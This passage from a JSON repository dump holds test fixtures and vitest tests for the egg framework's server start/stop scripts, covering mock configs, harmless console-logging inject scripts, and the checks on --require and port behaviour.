console.log('[agent_worker] exit with code:%s', code);\n    });\n  }\n}\n\nasync function run(file: string, appInstance: Application) {\n  if (!existsSync(file)) {\n    return;\n  }\n\n  console.log('run %s', file);\n  try {\n    const exports = await import(file);\n    if (typeof exports.default === 'function') {\n      await exports.default(appInstance);\n    }\n    // console.log('exports: %o', exports);\n    // await app(appInstance);\n    await appInstance.ready();\n    console.log('run %s done', file);\n  } catch (error) {\n    console.error('run %s failed: %s', file, error);\n    throw error;\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/mock-egg/package.json",
    "content": "{\n  \"name\": \"mock-egg\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Mock egg framework for testing\",\n  \"type\": \"module\",\n  \"main\": \"./index.ts\",\n  \"module\": \"./index.ts\"\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  // enable plugins\n\n  /**\n   * app global Error Handling\n   * @member {Object} Plugin#onerror\n   * @property {Boolean} enable - `true` by default\n   */\n  onerror: {\n    enable: false,\n    package: 'egg-onerror',\n    path: 'xxxxx',\n  },\n\n  /**\n   * session\n   * @member {Object} Plugin#session\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  session: {\n    enable: false,\n    package: 'egg-session',\n    path: 'xxxxx',\n  },\n\n  /**\n   * i18n\n   * @member {Object} Plugin#i18n\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  i18n: {\n    enable: false,\n    package: 'egg-i18n',\n    path: 'xxxxx',\n  },\n\n  /**\n   * file and dir watcher\n   * @member {Object} Plugin#watcher\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  watcher: {\n    enable: false,\n    package: 'egg-watcher',\n    path: 'xxxxx',\n  },\n\n  /**\n   * multipart\n   * @member {Object} Plugin#multipart\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  multipart: {\n    enable: false,\n    package: 'egg-multipart',\n    path: 'xxxxx',\n  },\n\n  /**\n   * security middlewares and extends\n   * @member {Object} Plugin#security\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  security: {\n    enable: false,\n    package: 'egg-security',\n    path: 'xxxxx',\n  },\n\n  /**\n   * local development helper\n   * @member {Object} Plugin#development\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  development: {\n    enable: false,\n    package: 'egg-development',\n    path: 'xxxxx',\n  },\n\n  /**\n   * logger file rotator\n   * @member {Object} Plugin#logrotator\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  logrotator: {\n    enable: false,\n    package: 'egg-logrotator',\n    path: 'xxxxx',\n  },\n\n  /**\n   * schedule tasks\n   * @member {Object} Plugin#schedule\n   * @property {Boolean} enable - `true` by default\n   * @since 2.7.0\n   */\n  schedule: {\n    enable: false,\n    package: 'egg-schedule',\n    path: 'xxxxx',\n  },\n\n  /**\n   * `app/public` dir static serve\n   * @member {Object} Plugin#static\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  static: {\n    enable: false,\n    package: 'egg-static',\n    path: 'xxxxx',\n  },\n\n  /**\n   * jsonp support for egg\n   * @member {Function} Plugin#jsonp\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  jsonp: {\n    enable: false,\n    package: 'egg-jsonp',\n    path: 'xxxxx',\n  },\n\n  /**\n   * view plugin\n   * @member {Function} Plugin#view\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  view: {\n    enable: false,\n    package: 'egg-view',\n    path: 'xxxxx',\n  },\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config/inject1.js",
    "content": "'use strict';\n\nconsole.log('@@@ inject script1');\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config/inject2.js",
    "content": "'use strict';\n\nconsole.log('@@@ inject script2');\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"egg\": {\n    \"framework\": \"custom-framework\"\n  },\n  \"eggScriptsConfig\": {\n    \"require\": [\n      \"./inject1.js\",\n      \"inject\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-esm/config/config.default.js",
    "content": "export default {\n  keys: '123456',\n  logger: {\n    level: 'WARN',\n    consoleLevel: 'WARN',\n  },\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-esm/config/plugin.js",
    "content": "export default {\n  // enable plugins\n\n  /**\n   * app global Error Handling\n   * @member {Object} Plugin#onerror\n   * @property {Boolean} enable - `true` by default\n   */\n  onerror: {\n    enable: false,\n    package: 'egg-onerror',\n    path: 'xxxxx',\n  },\n\n  /**\n   * session\n   * @member {Object} Plugin#session\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  session: {\n    enable: false,\n    package: 'egg-session',\n    path: 'xxxxx',\n  },\n\n  /**\n   * i18n\n   * @member {Object} Plugin#i18n\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  i18n: {\n    enable: false,\n    package: 'egg-i18n',\n    path: 'xxxxx',\n  },\n\n  /**\n   * file and dir watcher\n   * @member {Object} Plugin#watcher\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  watcher: {\n    enable: false,\n    package: 'egg-watcher',\n    path: 'xxxxx',\n  },\n\n  /**\n   * multipart\n   * @member {Object} Plugin#multipart\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  multipart: {\n    enable: false,\n    package: 'egg-multipart',\n    path: 'xxxxx',\n  },\n\n  /**\n   * security middlewares and extends\n   * @member {Object} Plugin#security\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  security: {\n    enable: false,\n    package: 'egg-security',\n    path: 'xxxxx',\n  },\n\n  /**\n   * local development helper\n   * @member {Object} Plugin#development\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  development: {\n    enable: false,\n    package: 'egg-development',\n    path: 'xxxxx',\n  },\n\n  /**\n   * logger file rotator\n   * @member {Object} Plugin#logrotator\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  logrotator: {\n    enable: false,\n    package: 'egg-logrotator',\n    path: 'xxxxx',\n  },\n\n  /**\n   * schedule tasks\n   * @member {Object} Plugin#schedule\n   * @property {Boolean} enable - `true` by default\n   * @since 2.7.0\n   */\n  schedule: {\n    enable: false,\n    package: 'egg-schedule',\n    path: 'xxxxx',\n  },\n\n  /**\n   * `app/public` dir static serve\n   * @member {Object} Plugin#static\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  static: {\n    enable: false,\n    package: 'egg-static',\n    path: 'xxxxx',\n  },\n\n  /**\n   * jsonp support for egg\n   * @member {Function} Plugin#jsonp\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  jsonp: {\n    enable: false,\n    package: 'egg-jsonp',\n    path: 'xxxxx',\n  },\n\n  /**\n   * view plugin\n   * @member {Function} Plugin#view\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  view: {\n    enable: false,\n    package: 'egg-view',\n    path: 'xxxxx',\n  },\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-esm/inject1.js",
    "content": "console.log('@@@ inject script1');\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-esm/inject2.js",
    "content": "console.log('@@@ inject script2');\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-esm/package.json",
    "content": "{\n  \"name\": \"example-esm\",\n  \"version\": \"1.0.0\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"framework\": \"custom-framework\"\n  },\n  \"eggScriptsConfig\": {\n    \"require\": [\n      \"./inject1.js\",\n      \"inject\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-sourcemap/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-sourcemap/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  // enable plugins\n\n  /**\n   * app global Error Handling\n   * @member {Object} Plugin#onerror\n   * @property {Boolean} enable - `true` by default\n   */\n  onerror: {\n    enable: false,\n    package: 'egg-onerror',\n    path: 'xxxxx',\n  },\n\n  /**\n   * session\n   * @member {Object} Plugin#session\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  session: {\n    enable: false,\n    package: 'egg-session',\n    path: 'xxxxx',\n  },\n\n  /**\n   * i18n\n   * @member {Object} Plugin#i18n\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  i18n: {\n    enable: false,\n    package: 'egg-i18n',\n    path: 'xxxxx',\n  },\n\n  /**\n   * file and dir watcher\n   * @member {Object} Plugin#watcher\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  watcher: {\n    enable: false,\n    package: 'egg-watcher',\n    path: 'xxxxx',\n  },\n\n  /**\n   * multipart\n   * @member {Object} Plugin#multipart\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  multipart: {\n    enable: false,\n    package: 'egg-multipart',\n    path: 'xxxxx',\n  },\n\n  /**\n   * security middlewares and extends\n   * @member {Object} Plugin#security\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  security: {\n    enable: false,\n    package: 'egg-security',\n    path: 'xxxxx',\n  },\n\n  /**\n   * local development helper\n   * @member {Object} Plugin#development\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  development: {\n    enable: false,\n    package: 'egg-development',\n    path: 'xxxxx',\n  },\n\n  /**\n   * logger file rotator\n   * @member {Object} Plugin#logrotator\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  logrotator: {\n    enable: false,\n    package: 'egg-logrotator',\n    path: 'xxxxx',\n  },\n\n  /**\n   * schedule tasks\n   * @member {Object} Plugin#schedule\n   * @property {Boolean} enable - `true` by default\n   * @since 2.7.0\n   */\n  schedule: {\n    enable: false,\n    package: 'egg-schedule',\n    path: 'xxxxx',\n  },\n\n  /**\n   * `app/public` dir static serve\n   * @member {Object} Plugin#static\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  static: {\n    enable: false,\n    package: 'egg-static',\n    path: 'xxxxx',\n  },\n\n  /**\n   * jsonp support for egg\n   * @member {Function} Plugin#jsonp\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  jsonp: {\n    enable: false,\n    package: 'egg-jsonp',\n    path: 'xxxxx',\n  },\n\n  /**\n   * view plugin\n   * @member {Function} Plugin#view\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  view: {\n    enable: false,\n    package: 'egg-view',\n    path: 'xxxxx',\n  },\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/pkg-config-sourcemap/package.json",
    "content": "{\n  \"name\": \"pkg-config-sourcemap\",\n  \"version\": \"1.0.0\",\n  \"egg\": {\n    \"typescript\": true,\n    \"framework\": \"custom-framework\"\n  },\n  \"eggScriptsConfig\": {\n    \"sourcemap\": false\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/status/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  if (process.env.ERROR) {\n    app.logger.error(new Error(process.env.ERROR));\n  }\n\n  app.beforeStart(async () => {\n    await scheduler.wait(parseInt(process.env.WAIT_TIME));\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/status/config/config.default.js",
    "content": "exports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/status/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  },\n  \"egg\": {\n    \"framework\": \"custom-framework\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/stop-timeout/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = `hi, ${app.config.framework || 'egg'}`;\n  });\n\n  app.get('/env', async function () {\n    this.body = app.config.env + ', ' + app.config.pre;\n  });\n\n  app.get('/path', async function () {\n    this.body = process.env.PATH;\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/stop-timeout/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.beforeClose(async () => {\n    await scheduler.wait(6000);\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/stop-timeout/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/stop-timeout/package.json",
    "content": "{\n  \"name\": \"stop-timeout\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/subdir-as-basedir/base-dir/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = `hi, ${app.config.framework || 'egg'}`;\n  });\n\n  app.get('/env', async function () {\n    this.body = app.config.env + ', ' + app.config.pre;\n  });\n\n  app.get('/path', async function () {\n    this.body = process.env.PATH;\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/subdir-as-basedir/base-dir/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n"
  },
  {
    "path": "tools/scripts/test/fixtures/subdir-as-basedir/base-dir/package.json",
    "content": "{\n  \"name\": \"base-dir\"\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/subdir-as-basedir/package.json",
    "content": "{\n  \"name\": \"subdir-as-basedir\"\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/trace-warnings/app.js",
    "content": "const EventEmitter = require('events');\n\nmodule.exports = () => {\n  console.log('app loaded');\n  const event = new EventEmitter();\n  event.setMaxListeners(1);\n\n  // --trace-warnings test about MaxListenersExceededWarning\n  event.on('xx', () => {});\n  event.on('xx', () => {});\n\n  // will not effect --no-deprecation argv\n  new Buffer('aaa');\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/trace-warnings/package.json",
    "content": "{\n  \"name\": \"trace-warnings\",\n  \"version\": \"1.0.0\"\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class AppController extends Controller {\n  public index() {\n    try {\n      throw new Error('some err');\n    } catch (err: any) {\n      this.ctx.logger.error(err);\n      this.ctx.body = {\n        msg: err.message,\n        stack: err.stack,\n      };\n    }\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts/package.json",
    "content": "{\n  \"name\": \"ts\",\n  \"version\": \"1.0.0\",\n  \"scripts\": {\n    \"build\": \"./../../../node_modules/.bin/tsc\",\n    \"windows-build\": \"call ../../../node_modules/.bin/tsc.cmd\"\n  },\n  \"dependencies\": {\n    \"egg\": \"*\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts/tsconfig.json",
    "content": "{\n  \"compileOnSave\": true,\n  \"compilerOptions\": {\n    \"target\": \"es2017\",\n    \"module\": \"commonjs\",\n    \"strict\": true,\n    \"noImplicitAny\": false,\n    \"experimentalDecorators\": true,\n    \"emitDecoratorMetadata\": true,\n    \"allowJs\": false,\n    \"pretty\": true,\n    \"noEmitOnError\": false,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"allowUnreachableCode\": false,\n    \"allowUnusedLabels\": false,\n    \"strictPropertyInitialization\": false,\n    \"noFallthroughCasesInSwitch\": true,\n    \"skipLibCheck\": true,\n    \"skipDefaultLibCheck\": true,\n    \"inlineSourceMap\": true,\n    \"importHelpers\": true\n  },\n  \"exclude\": [\"app/public\", \"app/views\"]\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts-pkg/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class AppController extends Controller {\n  public index() {\n    try {\n      throw new Error('some err');\n    } catch (err: any) {\n      this.ctx.logger.error(err);\n      this.ctx.body = {\n        msg: err.message,\n        stack: err.stack,\n      };\n    }\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts-pkg/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts-pkg/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts-pkg/package.json",
    "content": "{\n  \"name\": \"ts-pkg\",\n  \"version\": \"1.0.0\",\n  \"scripts\": {\n    \"build\": \"./../../../node_modules/.bin/tsc\",\n    \"windows-build\": \"call ../../../node_modules/.bin/tsc.cmd\"\n  },\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ts-pkg/tsconfig.json",
    "content": "{\n  \"compileOnSave\": true,\n  \"compilerOptions\": {\n    \"target\": \"es2017\",\n    \"module\": \"commonjs\",\n    \"strict\": true,\n    \"noImplicitAny\": false,\n    \"experimentalDecorators\": true,\n    \"emitDecoratorMetadata\": true,\n    \"charset\": \"utf8\",\n    \"allowJs\": false,\n    \"pretty\": true,\n    \"noEmitOnError\": false,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"allowUnreachableCode\": false,\n    \"allowUnusedLabels\": false,\n    \"strictPropertyInitialization\": false,\n    \"noFallthroughCasesInSwitch\": true,\n    \"skipLibCheck\": true,\n    \"skipDefaultLibCheck\": true,\n    \"inlineSourceMap\": true,\n    \"importHelpers\": true\n  },\n  \"exclude\": [\"app/public\", \"app/views\"]\n}\n"
  },
  {
    "path": "tools/scripts/test/start-without-demon-1.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { cleanup, replaceWeakRefMessage, type Coffee } from './utils.ts';\n\n// const version = parseInt(process.version.split('.')[0].substring(1));\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/start-without-demon-1.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example');\n  const homePath = path.join(__dirname, 'fixtures/home-start-without-demon');\n  const waitTime = 10000;\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('read pkgInfo on CommonJS', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/pkg-config');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should --require work', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=1', '--require=./inject2.js'], {\n        cwd: fixturePath,\n      }) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/@@@ inject script!/);\n      expect(app.stdout).toMatch(/@@@ inject script1/);\n      expect(app.stdout).toMatch(/@@@ inject script2/);\n    });\n\n    it('inject incorrect script', async () => {\n      const script = './inject3.js';\n      app = coffee.fork(eggBin, ['start', '--workers=1', `--require=${script}`], {\n        cwd: fixturePath,\n      }) as Coffee;\n      // app.debug();\n      await scheduler.wait(waitTime);\n      expect(app.stderr).toMatch(/Cannot find module/);\n      app.expect('code', 1);\n    });\n  });\n\n  describe('read pkgInfo on ESM', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/pkg-config-esm');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should --require work', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=1', '--require=./inject2.js'], {\n        cwd: fixturePath,\n      }) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/@@@ inject script!/);\n      expect(app.stdout).toMatch(/@@@ inject script1/);\n      expect(app.stdout).toMatch(/@@@ inject script2/);\n    });\n\n    it('inject incorrect script', async () => {\n      const script = './inject3.js';\n      app = coffee.fork(eggBin, ['start', '--workers=1', `--require=${script}`], { cwd: fixturePath }) as Coffee;\n      // app.debug();\n      await scheduler.wait(waitTime);\n      expect(app.stderr).toMatch(/Cannot find module/);\n      app.expect('code', 1);\n    });\n  });\n\n  describe.skip('sourcemap default value should respect eggScriptConfig', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/pkg-config-sourcemap');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should not enable sourcemap-support', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=1'], {\n        cwd: fixturePath,\n      }) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n      expect(app.stdout).not.toMatch(/--require .*\\/node_modules\\/.*source-map-support/);\n    });\n  });\n\n  describe('full path', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterEach(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', `--port=${port}`, fixturePath]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      // assert(!app.stdout.includes('DeprecationWarning:'));\n      expect(app.stdout).toMatch(/--title=egg-server-example/);\n      expect(app.stdout).toMatch(/\"title\":\"egg-server-example\"/);\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // expect(app.stdout).toMatch(/app_worker#2:/);\n      // expect(app.stdout).not.toMatch(/app_worker#3:/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n\n    it.skip('should start --trace-warnings work', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=1', path.join(__dirname, 'fixtures/trace-warnings')]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // assert.match(app.stderr, /MaxListenersExceededWarning:/);\n      // assert.match(app.stderr, /app.js:10:9/); // should had trace\n      expect(app.stdout).not.toMatch(/DeprecationWarning:/);\n    });\n\n    it.skip('should get ready', async () => {\n      app = coffee.fork(path.join(__dirname, './fixtures/ipc-bin/start.js'), [], {\n        env: {\n          BASE_DIR: fixturePath,\n          PATH: process.env.PATH,\n        },\n      }) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/READY!!!/);\n      expect(app.stdout).toMatch(/--title=egg-server-example/);\n      expect(app.stdout).toMatch(/\"title\":\"egg-server-example\"/);\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:7001/);\n      // expect(app.stdout).toMatch(/app_worker#2:/);\n      // expect(app.stdout).not.toMatch(/app_worker#3:/);\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/start-without-demon-2.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { createServer } from 'node:http';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { cleanup, replaceWeakRefMessage, type Coffee } from './utils.ts';\n\n// const version = parseInt(process.version.split('.')[0].substring(1));\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/start-without-demon-2.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example');\n  const homePath = path.join(__dirname, 'fixtures/home-start-without-demon');\n  const waitTime = 10000;\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('child exit with 1', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should emit spawn error', async () => {\n      const server = createServer(() => {});\n      server.listen(7007);\n\n      app = coffee.fork(eggBin, ['start', '--port=7007', '--workers=2', fixturePath]) as Coffee;\n\n      await scheduler.wait(waitTime);\n      server.close();\n      expect(app.code).toBe(1);\n    });\n  });\n\n  describe('relative path', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=2',\n        `--port=${port}`,\n        path.relative(process.cwd(), fixturePath),\n      ]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n\n  describe('without baseDir', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', `--port=${port}`], {\n        cwd: fixturePath,\n      }) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n\n  describe('--framework', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--framework=yadan', '--workers=2', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/yadan started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, yadan');\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/start-without-demon-3.test.ts",
